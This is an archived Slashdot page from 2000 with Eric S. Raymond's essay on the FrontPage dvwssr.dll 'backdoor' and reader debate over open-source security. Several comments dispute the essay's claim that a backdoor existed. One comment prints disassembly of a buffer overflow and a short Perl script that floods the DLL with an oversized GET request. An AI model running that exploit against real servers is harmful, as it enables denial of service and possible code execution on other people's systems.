Stories
Slash Boxes
Comments
Search

News for nerds, stuff that matters

Slashdot Log In

Log In

Create Account  |  Retrieve Password

Microsoft -- Designed for Insecurity

Posted by Hemos on Sat Apr 15, 2000 06:53 PM
from the electric-boogalla dept.
Microsoft
ESR [?] sent a feature about the Microsoft Web Server Backdoor - interesting stuff, and makes some good points about Open Source.

News services all over the world reported today (14 April 2000) that Microsoft programmers had inserted a security-compromising back door in their FrontPage web server software. Thousands of websites worldwide may be affected. Representative coverage of this story can be found at http://news.cnet.com/news/0-1003-200-1696137.html.

Amidst all the nervousness about yet another Windows security hole, and not a little amusement at the passphrase the Microsoft programmers chose to activate the back door ("Netscape engineers are weenies!") there is one major implication of this story that is going unreported.

This back door seems to have been present since at least 1996. That's four years -- *four years* -- that nobody but the pranksters who wrote it has known about that back door. Except, of course, for any of the unknown crackers and vandals who might have found it out years ago. All the world's crackers certainly know about it now after the worldwide media coverage.

Webmasters all over the world are going to be pulling all-nighters and tearing their hair out over this one. That is, webmasters who are unlucky enough to work for bosses who bought Microsoft. At the over 60% of sites running the open-source Apache webserver, webmasters will be kicking back and smiling -- because they know that Apache will *never* have a back door like this one.

Never may sound like a pretty strong claim. But it's true. Because back doors (unlike some other kinds of security bugs) tend to stand out like a sore thumb in source code. They're hard to conceal, easy to spot and disable -- *if you have access to the source code*.

It's the fact that the compromised Microsoft DLL was distributed in opaque binary form that made it possible for the good guys to miss this back door for four long years. In the Apache world, every every one of the tens of thousands of webmasters who uses it has access to the Apache source code. Many of them actually look at code difference reports when a new release comes out, as a routine precaution against bugs of all kinds.

Under all that scrutiny, a back door would be unlikely to escape detection for even four *days*. Anybody competent enough to try inserting a back door in Apache knows this in their bones. So it would be pointless to try, and won't be tried.

What's the wider lesson here?

It's pretty clear. Anybody who trusts their security to closed-source software is begging to have a back door slipped on to their system -- with or without the knowledge of the people who shipped the code and theoretically stand behind it. Microsoft HQ is doubtless sincere when it says this back door wasn't authorized. Not that that sincerity will be any help at all to the people who will have to clean up the mess. Nor will it compensate their bosses for what could be millions of dollars in expenses and business losses.

If you don't have any way to know what's in the bits of your software, you're at its mercy. You can't know its vulnerabilities. You can't know what *other people might know about it that you don't*. You're disarmed against your enemies.

Does this mean every single webmaster, every single software consumer, has to know the source code of the programs they use to feel secure? Of course not. But open source nevertheless changes the power equilibrium of security in ways that favor the defence -- it means back doors and bugs have a short, inglorious lifetime, because it means the guys in white hats can *see* them. And even if not every white hat is looking, potential black hats know that plenty of them will be. That changes and restricts the black hats' options.

Apache has never had an exploit like this, and never will. Nor will Linux, or the BIND library, or Perl, or any of the other open-source core software of the global Internet. Open-source software, subject to constant peer review, evolves and gets more secure over time. But as more crackers seek and find the better-hidden flaws in opaque binaries, closed-source software gets *less* secure over time.

Who knows what back doors may be lurking right now in other Windows software, only to be publicly acknowledged four years in the future? Who *can* know? And who in their right mind would be willing to risk their personal privacy or the operation of their business on the gamble that this is the *last* back door in Windows?

The truth is this: in an environment of escalating computer-security threats, closed source software is not just expensive and failure-prone -- it's *irresponsible*. Anyone relying on it is just asking, *begging* to be cracked. If theory didn't tell us that, the steadily rising rate of Windows cracks and exploits over the last eighteen months would.

Cockcroaches breed in the dark. Crackers thrive on code secrecy. It's time to let the sunlight in. --

http://www.tuxedo.org/~esr
Eric S. Raymond

"...quemadmodum gladius neminem occidit, occidentis telum est."
[...a sword never kills anybody; it's a tool in the killer's hand.]
-- (Lucius Annaeus) Seneca "the Younger" (ca. 4 BC-65 AD),

+ -
story
This discussion has been archived. No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.

Microsoft -- Designed for Insecurity 50 Comments More /

 Full
 Abbreviated
 Hidden
More
Loading... please wait.

  • How to backdoor an OSS project (Score:3)

    by Anonymous Coward on Saturday April 15 2000, @01:44PM (#1130649)
    Introduce exploitable flaws, what guarantuee do we even have that some of the buffer overflow exploits found in OSS projects were not intentional?
  • Nice of you to look at MS Web site - where in MS world everything is perfect, kosher and no hacks are known to men...

    GET REAL!

    Look at zdnn.com web site, C|Net and others and stop pointing at VA Linux. OK?

  • The Thompson hack included the secondary hack that if the source to the compiler itself were recompiled, the backdoor-creating code would be silently re-inserted into the output copy of the compiler, as well as another copy of the secondary hack itself.

    Meaning access to the source of the compiler wouldn't help -- all the source review you cared to do would not point out this 'compiler feature' if you had a compromised compiler in the first place.

    Unless you're planning to start from first principles and code your compiler from hand in raw machine code to bootstrap yourself into being able to compile C source, you're going to HAVE to rely on someone else's potentially-compromised binaries at some point, if only to compile a new copy of your compiler.

    Which gets back around to the bulk of your insightful point about who do you trust, but your original paragraph about the openness of the source is incorrect -- Thompson worked around that problem very neatly.


    --

  • Heh, well, I have no idea if that's true or not, but if it is, it's due to one simple fact: It helps to be correct.

    Actually only to sound important -- most of what you post is neither correct nor relevant.

  • What if I "borrow" the executive's hard drive for a little while, and then use my custom version of Linux that doesn't repect Administrative Privileges to install my alternative file system, and then return the hard drive to its computer?

    Only sysadmin can physically access computers that have any important information on them, so see above.

  • It's well known trick, however it doesn't work unless a compiler can reliably recognize that it compiles a compiler, and can modify it without breaking -- at best compiler can recognize and modify its own source or something very similar, but since a lot of C compilers were made since that time, such backdoors can't survive.
  • gcc can be built as crosscompiler on a platform that has a bunch of unrelated to gcc compilers, build itself (and libraries that it uses) for another platform and then used on another platform to build itself. Truly paranoid people can build it on many different platforms and compare the result of first self-built version -- if it's not identical, some versions are infected. The only case when it won't work is when all compilers involved are infected, and infection of all of them affects gcc in the same way -- something that I find hard to believe.
  • Possibly, however the venerability was found after inspection triggered by comments relating to the "weenies" issue in the DVWSSR DLL file.

    Those in the security scene know that there is no venerability related to the "weenies" string inside the DLL. However there may be a buffer overflow, see NtBugtraq.

    Regardless, ESR's targeted audience for the past several articles seems to be the general public, not us. He's preaching to the choir and it's becoming annoying.

    ESR: find something interesting to tell us.
  • The trouble is, the standard for honesty from Microsoft is _so_ low, and their manipulativeness _so_ high, that it almost forces one to become completely paranoid just to not be completely taken advantage of. These are the same people who faked video evidence in the antitrust case. When they say "There's no backdoor!" who, reasonably, can accept that on good faith without questioning it? When a third party (notably NT Bugtraq) says "There's no backdoor!", is it really unthinkable to consider if they were paid or coerced to say that? I know that's a hell of an accusation, but so is "Microsoft probably _faked_ that video evidence!", and of course that's ridiculous, they would never fake evidence in their own antitrust case- and yet, THEY DID THAT.

    Is "Microsoft faked evidence!" still paranoid when it is true?

    Is "They are lying, and the 'backdoor' was/is there on purpose in case Microsoft felt a need someday to use it" equally paranoid? In many ways it's a far more plausible claim than the faking of evidence- it's a power issue and easy for them to do and you could easily see them claiming that they _had_ to put in such backdoors in order to compete by being able to damage or alter the PCs used by competing firms, or perhaps tamper with government evidence stored on Windows PCs connected to the net, if that was necessary.

    When a company begins to _live_ the reductio ad absurdum of a Randite wet dream, who can see it and recognize it for what it is? There are times when the normal expectations aren't describing what you're seeing. The only options are to refuse to see anything at all, or to try and make sense of the matter even when it seems crazy. Microsoft would never fabricate evidence for the courts of the United States, no, no! They _respect_ the law. It's paranoid to think that they would intentionally try to sabotage the justice system of this country that they are so proud of exemplifying! *enter David Boies, with a magnifying glass*

  • This has already proven to be untrue in the case of Perl at least, as noted in this article in theRegister
    Funny you should mention that, because the Register article says:
    "Perl scripts are not the problem. Perl is not the problem. Incompetence is the problem. There are too many amateurs out there writing sloppy code. They get a brief lesson in Perl from some book and think that this makes them the Internet's gift to programming," [Bugtraq contributor Joe] Harris told The Register.
    It's one thing to spread FUD, but to spread trivially refutable FUD, and link to the article that refutes it...? FWIW, ESR's point was that Perl itself (the interpreter, as distributed by Larry Wall and company) will never have deliberately-placed backdoors; not that it should be impossible to write insecure code in Perl.
  • You can't do that with closed-source software. Since you don't have the source code, you can't alter the code.
    Actually, you can. That is exactly how application-infecting viruses work -- by modifying the (machine-language) code of installed binaries. They don't need the source; they use the fact that all executables of a given format have certain commonalities. A virus doesn't need access to Microsoft Word's source code in order to infect a copy of Word; it only needs to know that Word is an .EXE file, and that all .EXE files work the same way. Similarly, the writer of a Trojan horse can create a Trojaned executable from a clean one without recompiling.

    Yes, it takes more work to figure out how to maliciously modify a binary than to do the same to source code -- but that figuring-out has already been done and documented, and so is already available for your friendly neighborhood saboteur.

  • Re:Yes ... there is. (Score:3)

    by Amphigory (2375) on Saturday April 15 2000, @01:41PM (#1130663) Homepage
    I don't think "completely belies" is fair. In essence, it says "well, the backdoor that we spent 24 hours terrifying the world with isn't there. But we found another problem while we were looking for it". C'mon people... The misinformation running around has gone too far.

    --

  • Couple claims that this isn't a backdoor.

    This appears to be true in the direct access control sense--knowing that Netscape Engineers were weenies didn't appear to *directly* provide arbitrary access to the server.

    This isn't true cryptographically.

    If I deploy my code to my good friends Alice and Bob, and Alice finds in her package something that lets her access *any* of Bob's data--be it a mangled string or whatnot--there's a backdoor in the cryptography. Instead of having to brute force the key, you just buy a separate but excessively equal copy of the target's host OS and rip the key out of that.

    Remember: Cryptography is all about replacing big secrets with little secrets. If Bob's little secret gets shipped to Alice, whatever Bob was protecting with that little secret gets exposed.

    If this really is just a string mangler, incidentally, it's not the first time we've seen this. Remember susageP?

    Yours Truly,

    Dan Kaminsky
    DoxPara Research
    http://www.doxpara.com
  • Yeah, MS has millions (riiight) of hackers/crackers attacking their software, finding and publishing bugs whenever they find them.

    It took these "armies" 4 years to find this backdoor.

    The fact is, there are less bugs in most OSS software to be found, therefore less will be reported in OSS software than in Microsoft's.

    You also seem to ignore the fact that MS declares many bugs and miscillaneous problems as "features". They ignore many problems in their software, and those that they don't often take months before a patch is released.

    This as opposed to OSS where you can find a patch within hours of the discovery of a bug, epxloit, or what have you.

    Do you honestly think that Microsoft software has gotten better because of people "pounding away and screaming about weach[sic] exploit you find"? Look at Windows 2000; I seem to recall articles claiming there were at least 64000 known bugs in that software. You think this is an improvement?

    And do you honestly believe Microsoft is building their software to "withstand the combined hatred of most of the h@kerz and script kiddiez out there"? Newsflash: THEY AREN'T. Has it not become obvious to you by now that M$ doesn't care about product integrity? If they did, we wouldn't be dealing with such issues as this, because these issues wouldn't exist. The fact is, these issues are in-our-face problems, problems, as it has been said, that can end up costing the industry millions of dollars to fix.

    Apached is not just some software "that the Linux/Hacker community plays softball with". This is proven software, run by well over half the web sites in the world.

    So... what system will I trust? Not that which is tested only from the outside, or binary side. I'll put my confidence in a system which can be, and is, scrutanized inside and out. Source code and binary.

  • ESR wrote Fetchmail.

    Eric Allman wrote Sendmail.

    Hope this helps.

  • Hi, John. I've replied to you about this, but you've never responded. Here's where your argument breaks down: "For example, suppose I want to snoop on doings in the executive suite. I just modify the file system to write copies into another directory--or send copies of all the CEO's email to my home server. When I have the data I want, I just replace the original versions of the OS--and no one will be the wiser. "

    How do i "just" replace the filesystem? Sure, I could recompile a new one, but how do I get the system to use it? I'd have to have Administrative Privileges (that's "root" in the unix/linux world) -- and in that case I could do all of those things without having to go to all the trouble of writing a trojan. So -- the only condition open-source trojans are viable is when *the author doesn't need them.*

    Please, John, if you have any issues with this, feel free to reply to this comment. I'd be more than happy to elaborate on the concept of a multi-user security model for you, since you seem to be assuming that Linux uses a security model like Win9x.

    Kronos.

  • Excelent and balanced article (Score:3)

    by Sam Ruby (8995) on Saturday April 15 2000, @01:17PM (#1130673) Homepage
    Brings up a new and important point (four years is a long time to go unnoticed) that didn't get much press coverage previously, and refrains from taking gratuitious shots at Microsoft that would detract from the message.

    Expecially good is the "Microsoft HQ is doubtless sincere when it says this back door wasn't authorized". In this case, giving MS the benefit of the doubt actually makes the case for open source *stronger*.

  • It doesn't matter whether or not there is/was/was ever a backdoor. No matter if it's entirely true or not, the public is set on the idea that "!seineew era sreenigne epacsteN" is a huge security problem. At least it's more tangable than buffer overflows (which the public at large tend to care nothing about - look at AOLIM).

    At the very least, the idea is that the string shouldn't be in there no matter what it does (and yet we seem to care nothing about easter eggs) so why not go ahead and use it to push an advantage of open source? It's a foothold in Microsoft's own game! M$ does this sort of thing all the time (look at Mindcraft).

    While I do agree that ESR should probably have clarified that this particular time the security implications of "!seineew era sreenigne epacsteN" are minimal, I do not think that it's ever a bad time to point out the advantages of OSS, especially when the public is more prone to accept and agree with it!

    ~GoRK
  • (This is almost certainly way low, in that I'm assuming 25% of approximately 12,000 servers on the Internet. I have no real idea how many servers there are.)

    I'd say you're off by a couple of orders of magnitude, right there.

    Netcraft surveys nearly 10 million sites, and they have to be missing a lot.

  • Scratch that; it's over 13 million now.

  • Would you recognize the inserted back door if you weren't damn familiar with GCC and C for that matter? I could write the backdoor in assembler and have GCC's code insert it into the app, then you'd have to be damn fluent in assembler to figure out what was going on. You're never as clever as you think you are.

  • It sure as Hell is a lot more relevant to readers of this site than a completely fabricated story from ESR. For anyone who still hasn't bothered to keep up with yesterday's news, listen up: There is no back door.

    Which is it, Hemos? Is Slashdot more interested in discussing the truth openly, or does VA Linux prefer that you trumpet lies?

    Cheers,
    ZicoKnows@hotmail.com

  • Sorry, Sam, but this article was very poor. You claim that ESR is giving Microsoft the benefit of the doubt. How could you possibly believe this when he is trying to propagate a lie of there being a back door to begin with? Authorized or unauthorized, it doesn't exist.

    Cheers,
    ZicoKnows@hotmail.com

  • Actually, it's a rare day indeed when an actual Linux exploit makes news at Slashdot. Usually the farthest they go toward that end is bringing up hypothetical problems. I don't have a problem with that standard of reporting -- I subscribe to Bugtraq and NTbugtraq for that kind of information, I'm not looking for it at Slashdot -- although the inconsistency of their Microsoft reporting on the same topic is a bit annoying.

    Now, this second thing needs to be cleared up: I am not ripping Slashdot for reporting the original story -- everyone else was reporting it, so I'd be surprised if Slashdot didn't. I'm ripping them for publishing this essay, propatating the lie that there's some evil back door involved. It was known yesterday afternoon that there was no back door, and in fact, Slashdot even posted an update to that story (albeit incorrect in other, innocent ways) which stated this. For them to now drag out ESR's essay, built upon a lie which Slashdot itself had already discounted, is inexcusable.

    Cheers,
    ZicoKnows@hotmail.com

  • Actually only to sound important -- most of what you post is neither correct nor relevant.

    Give it a try sometime, if you can muster it, Alex. It's so much more becoming than the bitter and humorless nerd image that you project. :)

    Cheers,
    ZicoKnows@hotmail.com

  • Hello, there _is_ no back door (Score:3)

    by Zico (14255) on Saturday April 15 2000, @01:12PM (#1130684)

    Not only that, but this has been known since yesterday. Was ESR too busy thinking up pithy one-liners for his article to bother checking out the facts?

    Oh well, wouldn't want to let that stop ESR from shooting his mouth off. Since when was he ever concerned about the truth anyway?

    Cheers,
    ZicoKnows@hotmail.com

  • Re: Hello, there _is_no back door (Score:3)

    by Zico (14255) on Saturday April 15 2000, @01:34PM (#1130685)

    Sure. This links to my post of information [slashdot.org] (http://slashdot.org/comments.pl?sid=00/04/14/0619 206&cid=494) from Russ at NTbugtraq which explains their findings that a back door wasn't involved. It turns out that there was/is a vulnerability that this post didn't catch, but the back door was clearly counted out. This was posted sometime before 4pm EDT yesterday, so ESR definitely had time to find this out.

    Secondly, here's an updated link [slashdot.org] (http://slashdot.org/comments.pl?sid=00/04/14/0619 206&cid=540) which describes what the vulnerability is all about. (It also contains two more links for further, more detailed information.

    Cheers,
    ZicoKnows@hotmail.com

  • Re:Yes ... there is. (Score:3)

    by Zico (14255) on Saturday April 15 2000, @02:15PM (#1130686)

    "Completely belies"? That's certainly misleading. The fact is that there is a vulnerability in that DLL, both in its security (although, if a webmaster had the proper permissions on his files, he would be immune to this), and that there's a potential buffer overrun situation in the code.

    Now...

    If Slashdot would like to start posting essays on every Linux buffer overrun that comes down the pike, and -- most importantly -- get everyone worked up in a frenzy by not describing them as the bugs that they are, but instead as EVIL BACKDOORS (!) so that the authors could hack your server anytime they felt like it, then I'm all for it. Somehow I don't think that Andover.net and VA Linux would be too interested in this new policy. Until that policy is instituted, I can only assume that Erik Raymond's -- and Slashdot's by posting this -- priority lies in generating untrue, positive PR for the benefit of VA Linux's stock price, and not the quest for truth and objective debate.

    Cheers,
    ZicoKnows@hotmail.com

  • does anyone have any doubt that Zico is easily Slashdot's most frequently moderated up troll, period

    Heh, well, I have no idea if that's true or not, but if it is, it's due to one simple fact: It helps to be correct.

    All the Anonymous Cowards love to howl and moan about my posts, but all their wind falls on deaf ears because they aren't bright enough to refute anything I'm saying. Yep, everything I say must be lies and PR, but amazingly, none of them are ever able to point out where I'm incorrect -- they just make themselves look like immature little ranters. Do they actually think that they're helping to support those points of view which run counter to mine? Yeah, right.

    I've noticed that almost invariably, the people who can actually make some good arguments with me are the ones who bother to put their names behind it. And if you ever notice, I'm not miserly with the respect for any replier who posts with respect themselves when they disagree with me. So anyway, that's my theory.

    And to all the ACs with brains out there putting up the good fight, the above isn't referring to you, so keep up the good work!

    Cheers,
    ZicoKnows@hotmail.com

  • ESR needs to do a little remembering. There has already been at least one case of a backdoor being put in open-source Linux software. Anyone remember this [stthomas.edu]? There were logged downloads of the infected file before the backdoor was discovered, but I don't know if anybody got as far as installing the bad login program.

    It just shows that you can't believe that because there's somebody out there looking at the source that you'll always be safe. It's all too easy to download, compile, and install something without security concerns because you think that nobody will attempt to put backdoors in the software, or that even if they do try, somebody will catch it before you become a victim.

  • Be it for backdoors, security or updates, nothing beats OSS.

    In this instance (and many others) I beg to differ. I have had no less than two security emails from Microsoft Product Security in the last 48 hours when this "exploit" first broke. I received the first April 14th, and the second today. Both gave explicit instructions for removing the vulnerability:

    Remediation
    ===========
    To eliminate this vulnerability, customers who are hosting web sites
    using any of the affected products should delete all copies of the
    file Dvwssr.dll from their servers. The FAQ provides step-by-step
    instructions for doing this. The only functionality lost by deleting
    the file is the ability to generate link views using Visual Interdev
    1.0.

    Yes, the programmers who put this in were assholes. Kinda like a few Linux programmers who might be tempted to add code saying that "Microsoft engineers are weenies". No, this does not mean that Microsoft was trying to pull anything.

    And especially: It does NOT "prove" by any stretch of the imagination that Open Source is superior to closed or proprietary source. There are far too many naive OSS/Linux advocates who seem to think that backdoors and deliberate exploits somehow have "Back Door Here" comments liberally sprinkled around the offending code. It takes considerable time, effort, intelligence, and dumb luck to audit code, and to look not only for the single point of entry, but the even more difficult to spot exploits with possible multiple applications.

    ESR and the zelots who take up his arguments without careful consideration of the facts are rapidly making themselves a royal PITA. In case you haven't noticed, over one million copies of Windows 2000 have shipped since its introduction (real copies generating real revenue) and from my own experience, as well as that of others, it's pretty damn good. Good enough to make it easy to ignore Linux and all the stupid political baggage that it's acquired.

  • ESR is wrong...Misleading Article (Score:3)

    by scheme (19778) on Saturday April 15 2000, @01:41PM (#1130709)

    The backdoor isn't as bad as ESR is implying. In order to exploit the code, the attacker needs to be given authoring privileges on the server. So this is primarily restricted to developers and only lets the attackers read .asp or .asa files.

    Also the dll was present in interdev 1.0 but isn't found in later versions or in the releases on other platforms besides windows on x86. There are also questions about whether microsoft or whether the original developer vemeer technologies put it in. Therefore saying that microsoft designed this is irresponsible on the part of ESR and Slashdot.

    I also have objections to ESR saying that webmasters are going be pulling out their hair over this. If the sites had upgraded to a latter version of InterDev then there's no problem. Plus, only web developers can exploit this and then only to view .asp/.asa files so its not as serious as ESR makes it out to be. Even those sites running InterDev 1.0, can get rid of the backdoor by deleting the dll since it codes for a view links feature which is not essential.

    The original posting about the exploit is here [securityfocus.com]

  • People say NT is unreliable. That's crap. People say NT is insecure. Kinda. People say NT has backdoors. Ooooh yea.

    I switched many of my server from NT to Linux, the main reason being that Open Source OS's tend to have fewer bugs, and when the bugs are found, patches and updates occur very quickly.

    You can be sure there are no backdoors in OSS... I mean, if someone had the balls to but backdoors in OSS they'd be ridiculed 2 minutes after the software release.

    The second reason I don't use NT anymore is the bloat factor. One of my SMB servers was a P166/64MB RAM, and as soon as I installed SP6 and Option Pack 4, the hardware was rendered useless. A nice install of Linux quickly put the extra "umph" that machine needed.

    Be it for backdoors, security or updates, nothing beats OSS.

  • But don't take my word for it, go read the Thompson paper on inserting self-reproducing malicious code into a compiler. He proves that, even with the source code you can never be 100% sure of what a program is actually doing.

    *sigh*

    While it is true that Open Source is not a panacea, the Ken Thompson C compiler backdoor does not apply. That particular exploit was only possible because people did not have the source to the binary needed to bootstrap a new machine into running Unix. They had to use a binary provided by Ken Thompson, who they had to trust.

    And that is the real matter at hand -- trust. If you are not reviewing every line of code and then compiling every binary yourself -- and let's face it, most people don't have the resources to do that -- you better make damn sure you trust the provider of your pre-compiled binaries.

    What if Red Hat slipped a similar back door into their compiler package? What if one of the Debian maintainers decided to do it with their's? How about if both of the above are honest, but CheapBytes does? How about the company they subcontract to manufacture and distribute the boxed sets?

    It is critical to remember that most "Open Source" installations are, in fact, using unreviewed, pre-compiled binaries, and not the source itself. If the provider of those binaries is trusted, then you can be confident of the benefits of Open Source. But if not... well, at least you can switch vendors easier then you can with Microsoft's products.

    The single biggest question you have to concern yourself with in the security world is still: Who do you trust?

  • "Never"? (Score:3)

    by FascDot Killed My Pr (24021) on Saturday April 15 2000, @01:22PM (#1130720)
    Never may sound like a pretty strong claim. But it's true. Because back doors (unlike some other kinds of security bugs) tend to stand out like a sore thumb in source code. They're hard to conceal, easy to spot and disable -- *if you have access to the source code*.

    While it's true that Open Source is more (WAY more) secure than non-open, it's not a panacea. And making claims that it IS only invite people to try (and make the fall that much harder when it comes).

    But don't take my word for it, go read the Thompson paper [acm.org] on inserting self-reproducing malicious code into a compiler. He proves that, even with the source code you can never be 100% sure of what a program is actually doing.
    --

  • Re:Hello, there _is_ no back door (Score:3)

    by Wah (30840) on Saturday April 15 2000, @01:24PM (#1130729) Homepage Journal
    Regardless of the exact nature of the code, the simple fact is that something like this has been allowed to exist for so long. And how many of these types of "features" need to be strung together before you DO have a backdoor. Of course this is just one person putting a backdoor in web server software that protects billions of dollars. It has now been done, it will be done again. This is PROOF OF CONCEPT, and that's enough for me (not like I didn't already dislike M$, but this is good fuel for the fire)

    Four Years!

    --
  • See, here's the thing. It doesn't matter what the actual problem with the flaw in the MS code is, it is still some level of a security breech that happened because the code was put in by irresponsible coders. Come now, commenting your code with cracks at other programmers is one thing, but deliberately injecting an insult into your code at the expense of comprimising a security model is completely wrong. Don't these people have code reviews? Apparently not, or the programmers were all so arrogant or in on the joke that they let it slide, without thinking about the consequences. I am a sysadmin for a living, and something like this bothers me, because of the impact that it has on my servers and my clients. My wife, a software engineer by trade, is morally and ethically outraged that something like this would go on. And I can sympathize with her, every time I look at a script kiddie, or even an actual skilled black hat hacker and I think about how they are wasting their skills.

    Even if the facts are not totally straight, it is close enough to the truth for the average member of the populance who does not understand the complexities of dll's and so's to understand that Open Source can prevent Bad Things(tm) from happening to their computer. They know that while they may not look at the code, they have the ability to, and thusly someone else who DOES know the complexities of dll's and so's can review it for them, and they can feel safer. And that someone can be anyone..not just internal folks who are colored by their work place (I'll refrain from calling it indoctrination).

    Yes, WE ALL KNOW THIS STUFF...but not everyone does! Revelation I know, but people do not know what Open Source means. They think it means free (as in beer). Hell, most people do not know what souce code is! ut what they should know is that if something says Open Source on the box (like where it says "Designed for Windows") they will KNOW that there are people looking at it, that they can look at it, and they know there is nothing hiding. If there are bugs and security holes, it is due to HONEST mistakes, as opposed to pranksters.

    That's why it is nice to know that someone is trying to educate the users..even if you do not approve of ESR's or RMS's methods (Lord knows I wish they would shut up most days). You show people why it is better in your way, they'll do it in there way.

  • Well, maybe it's not technically a "back door" into the server, but it certainly seems to compromise their (apparently incredibly weak) password "security" model for Frontpage. Now anybody sniffing for FP passwords can crack them easily, and any 2-bit skript kiddiez can deface these sites at whim with the disseminated passwords. I think I'll go ahead and disable FP extensions on all my sites now....
    #include "disclaim.h"
    "All the best people in life seem to like LINUX." - Steve Wozniak
  • sorry to rain on yer parade but :

    That is not correct.

    We have been playing with dvwssr.dll and we've found a buffer overflow that stops the server from incoming connections, at least.

    The code where the buffer overflow resides is:

    mov eax, [edi+TEXTENSION_CONTROL_BLOCK.lpszQueryString]
    test eax, eax
    jz _text_581813FD
    push eax
    lea eax, [esp+14h+queryStringCoph]
    push eax
    call ds:lstrcpyA ;see here MS ENGINEERS: BUFFER OVERFLOW
    test eax, eax
    jz _text_581813FD
    lea eax, [esp+10h+queryStringCoph]
    push eax
    call unescape_url

    So, below is an example of how to exploit this vulnerability:
    Of course, having the source code makes it harder to find
    this types of bugs...

    #!/usr/bin/perl
    print "GET /_vti_bin/_vti_aut/dvwssr.dll?";
    print "a" x 5000;
    print " HTTP/1.1\nHost: yourhost\n\n";

    We've been playing a little more trying to exploit this buffer overflow, and as we don't
    have InterDevs installed on our IIS, we copied the .dll to /msadc directory, and with
    this configuration, we have been able to make the code jump to our buffer.
    Under this circunstances, the actual BO allow to execute arbitrary code in the target machine.
    It's interesting to note that no log is generated as efect of this attack.

  • Before you use the Thompson paper to "prove" anything, remember that he implicitly assumed closed source development!

    Specifically, his implicitly corrupted compiler C" is compiled with an explicitly corrupted compiler C'. The C' compiler must explicitly check for "odd" patterns and replace that code with odd values, and it's this corrupted code-generation code that is propogated in subsequent builds of the compiler.

    But one of the greatest strengths of the open source ideal is that there's no assumption that any specific tool will be used. I've built the FSF tools from source tar balls many times, and more often than not I compile as many of them with the braindead local compiler. Even if I do a two-phase build, GCC is built with the braindead local compiler, so when everything is rebuilt with GCC it is *far* less likely to contain any hidden surprises.

    Thompson's paper *is* something to consider in a pure-GCC environment. But the risk can be kept to a minimum level as long as GCC and the library can be compiled with a slow & stupid compiler bootstrapped from a provably correct assembler... or at least legacy Sun, HP/UX and AIX systems. :-)

    (A sidenote for people unfamiliar with this type of bootstrapping -- you start with a "mini-C" assembly language compiler which can only handle a subset of C (e.g., no floating point math, no typedefs, no unions, etc.) Since it's in assembler, you can verify that the object code matches the source code... and the reduced functionality keeps the size reasonable. Your real compiler is written in this mini-C language, it accepts ANSI C but isn't fast, nor does it produce fast code. As a final step the newly compiled compiler (re)compiles itself.)

  • Re:The economics of backdoors (Score:3)

    by dsplat (73054) on Saturday April 15 2000, @03:01PM (#1130762)
    Number of affected servers: 3000
    (This is almost certainly way low, in that I'm assuming 25% of approximately 12,000 servers on the Internet. I have no real idea how many servers there are.)

    Number of hours spent by a net admin to following the problem, creating or downloading a patch, and verifying both the problem and the solution: 4?

    Average hourly wage of a net admin: $40?

    Putting it together: 3000x4x40 = $480,000. Unless my estimates are off by a combined three orders of magnitude, it's probably not going to be "hundreds of millions of dollars". Sorry, ESR.


    I have two points to make about this. Farther along you did point out that installing patches is in the job description. True enough. Installing patches to correct a backdoor, as this was alleged to be, should not be. But, your calculations leave out a number of other factors. The cost of an employee's time doesn't stop at his paycheck. There was server downtime involved. There are also other non-salary costs in keeping employees: benefits, the employer's contribution to Social Security, office space, etc.

    A former coworker of mine, and still a friend, pointed out something to me a couple of years ago about time spent by engineers, or anyone producing a product. It's value should be measured by what they could produce if not interrupted by whatever you are evaluating the cost of. Certainly, for a network administrator, this is part of the job. And what about the little start-up, where the three hackers with the brilliant product idea who are slinging code 18 hours a day also put together the company web site because they are paying themselves in equity in the company rather than in dollars, which they don't have. They can't hired a net admin right now, but the cost to them of those 4 hours may be huge.
  • The Microsoft batting average over the years isn't so good. There's the secret tracking code that gets tagged into documents on networked machines, there're the repeated rumors that during the Windows or MSN install your hard disk is scanned and the results sent back to Microsoft. There's the extra key alleged to allow the NSA to decrypt secure communications. And of course the dirty tricks they pulled with DR DOS and the persistent rumors that Gates broke into the business by steaing a copy of BASIC. They denied it all, of course.

    With UCITA coming down the pike, I'm sure assorted other back doors will be forthcoming. The question is, do you as a large business in an arena competing with Microsoft want to trust your future to an OS and apps your competitors wrote? Competitors whose history of dirty tricks goes back longer than they've been in business?

  • The economics of backdoors (Score:4)

    by ContinuousPark (92960) on Saturday April 15 2000, @01:49PM (#1130776)
    Nor will it compensate their bosses for what could be millions of dollars in expenses and business losses.

    Now, I don't want to sound like a flamebait poster, but this reminded me of the companies that got Kevin Mitnick in jail. "We lost hundreds of millions of dollars because of him", they said. Were they exaggerating or not?

    Seriously, my question is, how can you quantify the expenses and losses of something like this?? How much did the DoS attacks on Yahoo, eBay and others cost? How much money would Microsoft really lose because of a beta copy of Windows Me is on the loose?

    I'm not saying that there is no cost, that there will no problem or expenses for the companies whose webmasters will spend the weekend struggling finding patches for a backdoor that is not really one, but will it be millions of dollars as ESR put it? Isn't installing patches already the webmasters job? How can there be additional expenses? Where does this figure come from? Can someone explain to me the economics of this?

  • Yes ... there is. (Score:3)

    by Issue9mm (97360) on Saturday April 15 2000, @01:26PM (#1130782) Homepage
    I'm assuming that you're using the information gathered and delivered by Russ, of NTBugTraq. Well then, let me post this [ntadvice.com], which completely belies his statements. Judge for yourself.
  • ESR makes a good point in emphasizing that Open Source software can be reviewed by anybody, and actually is reviewed by many developers when a new release is distributed. He is entirely correctly in asserting that this process (in essence, peer review) prevents a programmer from widely distributing a back door. That is, without question, a definite plus for Open Source.

    On the other hand, there is a definite minus to Open Source--anybody can recompile it. Or even parts of it. So anybody with access to the OS can recompile a small part, substitute that part into the OS, and subsequently replace the original.

    For example, suppose I want to snoop on doings in the executive suite. I just modify the file system to write copies into another directory--or send copies of all the CEO's email to my home server. When I have the data I want, I just replace the original versions of the OS--and no one will be the wiser.

    You can't do that with closed-source software. Since you don't have the source code, you can't alter the code. So you (or that contract programmer who the company is letting go at the end of the month) can't run a little in-house exploit.

    Let me clarify that a bit more: an in-house programmer can't run this kind of exploit using a part of the operating system or a closed-source product (such as a database or email system). However, an in-house programmer can run this kind of exploit on components that he can recompile (such as ActiveX controls). If reasonable source control is in place (everyone must use source control, projects can't be checked out indefinitely) there is little risk. Admittedly, there aren't that many corporations that have reasonable source control policies.

    The security problem most corporations face today isn't back doors, or even Trojan Horses. It is the in-house Trojan, put in place by somebody on the inside. It is significantly easier to create an in-house Trojan with OSS.

    Which is to say, being "Open" is both a blessing and a curse.

    John Murdoch

